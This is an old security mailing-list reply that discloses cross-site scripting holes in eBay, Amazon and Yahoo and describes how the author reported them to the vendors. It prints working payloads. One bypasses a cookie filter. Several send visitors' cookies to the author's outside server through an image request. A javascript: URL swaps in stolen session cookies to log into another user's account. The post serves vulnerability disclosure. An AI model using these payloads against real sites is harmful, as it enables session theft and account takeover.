Re: Cross-Site Vulnerabilities (Still) Found in Major Web Sites

[Andrew Wason <aw () rootbin com>]

In-Reply-To: <EFD4B3AC451FD5118E7400E018C326948275F2@AIRWOLF>

&gt; Yahoo, MSN, AOL, Lycos, and Excite suffer from 
such attack. 

So do ebay and Amazon. Yahoo will let you post 
pretty much any script/html (in invites, auctions etc.). 
ebay tries to strip references to document.cookie in 
auction postings, but putting whitespace in there fools 
it and allows it to be posted, e.g.:

document
.
cookie

Amazon only allows what they call &quot;basic HTML&quot; in 
their auction postings, but you can still get script past 
their filter e.g.:

&lt;b onMouseOver=&quot;new Image
().src='http://demo.rootbin.com:8080/~aw/logger.gif?
cookie=' + escape(document.cookie)&quot;&gt;test&lt;b&gt;

When the user mouses over the word test, their 
cookies will be logged in my webserves log file.

If a site allows &lt;script&gt; blocks to be posted, you can 
log the visitors cookies with no interaction:

&lt;script language=&quot;JavaScript&quot;&gt;
new Image().src 
= &quot;http://demo.rootbin.com:8080/~aw/logger.gif?
cookie=&quot; + escape(document.cookie);
&lt;/script&gt;

Yahoo is interesting because they allow script to be 
posted in their &quot;Yahoo Invites&quot;. 
http://invites.yahoo.com/
So you can craft an invitation that logs the users 
cookies and have Yahoo email it to the specific 
Yahoo users whose accounts you want to access.

I established accounts with each of these (ebay, 
Yahoo and Amazon) and was able to collect cookies 
on myself and log into that users account by 
manually setting those cookies in my browser. Once 
you have the cookies (e.g. for amazon), visit 
amazon.com and enter this in your browser URL field 
(all one line):

javascript:void(document.cookie=&quot;session-id-
time=del;expires=Fri, 31 Dec 1999 23:59:59 
GMT;domain=amazon.com;&quot;);void
(document.cookie=&quot;session-id=del;expires=Fri, 31 
Dec 1999 23:59:59 GMT;domain=amazon.com;&quot;);void
(document.cookie=&quot;ubid-main=del;expires=Fri, 31 
Dec 1999 23:59:59 GMT;domain=amazon.com;&quot;);void
(document.cookie=&quot;x-main=del;expires=Fri, 31 Dec 
1999 23:59:59 GMT;domain=amazon.com;&quot;);void
(document.cookie=&quot;ubid-main=002-7079596-
1079533;domain=amazon.com;&quot;);void
(document.cookie=&quot;x-
main=OCoNWc8jtjGE0wvoNWc8jtjGEU0c?
OkW;domain=amazon.com;&quot;)

This first deletes your current session cookies and 
then replaces them with another users account 
information, logging you in (the account info above is 
bogus).

On Yahoo, users can choose how long their 
accounts stay logged in before asking for a password 
again. So if you enter the Yahoo cookies during the 
time the user is logged in (within this window) you 
have full access to their email, calendar and a lot 
more.

I notified Amazon, Yahoo and ebay a while ago - I had 
trouble finding out how to notify them. I ended up 
using feedback forms on their sites, and a feedback 
email alias at amazon.

Amazon responded saying they use SSL so there's 
no problem (?). Yahoo responded with a form letter 
directing me to various FAQs, I replied and got no 
response. ebay did not respond.


Andrew